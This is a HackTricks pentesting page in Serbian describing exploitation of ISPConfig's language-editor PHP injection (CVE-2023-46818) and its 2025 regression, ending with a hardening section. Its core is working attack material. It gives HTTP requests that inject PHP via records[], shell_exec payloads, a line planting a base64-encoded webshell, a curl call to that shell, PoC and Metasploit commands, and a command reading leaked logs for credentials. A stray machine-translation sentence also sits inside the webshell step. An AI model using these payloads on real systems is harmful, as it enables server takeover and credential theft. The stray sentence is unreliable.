ISPConfig
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
ISPConfig je open-source kontrolni panel za hosting. Starije 3.2.x verzije imale su opciju za uređivanje jezičkih fajlova koja, kada je omogućena za super administratora, omogućava ubacivanje proizvoljnog PHP koda preko malformisanog zapisa prevoda. To može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, eskalacije privilegija.
Ključne podrazumevane putanje:
- Web root se često nalazi na
/var/www/ispconfigkada se servira saphp -Sili preko Apache/nginx. - Admin UI je dostupno na HTTP(S) vhost-u (ponekad vezano samo za localhost; po potrebi koristite SSH port-forward).
Savet: Ako je panel vezan lokalno (npr. 127.0.0.1:8080), prosledite ga:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
PHP injekcija koda u uređivaču jezika (CVE-2023-46818)
- Pogođeno: ISPConfig do verzije 3.2.11 (ispravljeno u 3.2.11p1)
- Preduslovi:
- Prijavite se kao ugrađeni superadmin nalog
admin(prema dobavljaču, druge uloge nisu pogođene) - Uređivač jezika mora biti omogućen:
admin_allow_langedit=yesu/usr/local/ispconfig/security/security_settings.ini - Uticaj: Autentifikovani admin može da ubaci proizvoljan PHP koji se upisuje u fajl sa prevodom i izvršava od strane aplikacije, ostvarujući RCE u web kontekstu
Reference: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Ručni tok eksploatacije
- Open/create a language file to obtain CSRF tokens
Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (csrf_id, csrf_key). Primer putanje zahteva: /admin/language_edit.php.
- Inject PHP via records[] and save
Pošaljite drugi POST koji uključuje CSRF polja i maliciozni zapis prevoda. Minimalne provere za izvršavanje komandi:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (posmatrajte ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Kreirajte fajlove i postavite webshell
Koristite file_put_contents da kreirate fajl u putanji dostupnoj preko weba (npr., admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Zatim napišite jednostavan webshell koristeći base64 da biste izbegli loše karaktere u telu POST zahteva:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Niste priložili sadržaj fajla. Molim nalepite tekst iz src/network-services-pentesting/pentesting-web/ispconfig.md koji želite da prevedem na srpski.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Ako se PHP izvršava kao root (npr. preko php -S 127.0.0.1:8080 koji je pokrenuo root), to odmah daje root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.
2025 regresija (ISPConfig 3.3.0 / 3.3.0p1)
Bag u language editoru se ponovo pojavio u 3.3.0/3.3.0p1 i ispravljen je u 3.3.0p2. Preduslovi su nepromenjeni (admin_allow_langedit i admin prijava). Isti patch je takođe rešio monitor XSS i world-readable rotated logs.
Napomene:
- Na 3.3.0/3.3.0p1, world-readable rotated logs under
/usr/local/ispconfig/interface/log/may leak kredencijale ako je debug logging bio omogućen:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Koraci exploita odgovaraju CVE-2023-46818; 3.3.0p2 dodaje dodatne provere pre uređivanja jezika.
Python PoC
Spreman za upotrebu exploit automatizuje token handling i payload delivery:
Primer pokretanja:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (objavljeno jul 2025)
Rapid7 je dodao exploit/linux/http/ispconfig_lang_edit_php_code_injection, koji može automatski omogućiti admin_allow_langedit ako navedeni admin account ima system-config rights.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Modul upisuje base64-encoded payload kroz records[] i izvršava ga, pružajući PHP Meterpreter ili prilagođeni payload.
Ojačavanje
- Ažurirajte na 3.2.11p1 ili noviju za originalni problem, i na 3.3.0p2 ili noviju za regresiju iz 2025.
- Onemogućite uređivač jezika osim ako nije strogo neophodan:
admin_allow_langedit=no
- Ne pokrećite panel kao root; konfigurišite PHP-FPM ili web server da smanje privilegije
- Obezbedite snažnu autentifikaciju za ugrađeni
adminnalog
Izvori
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


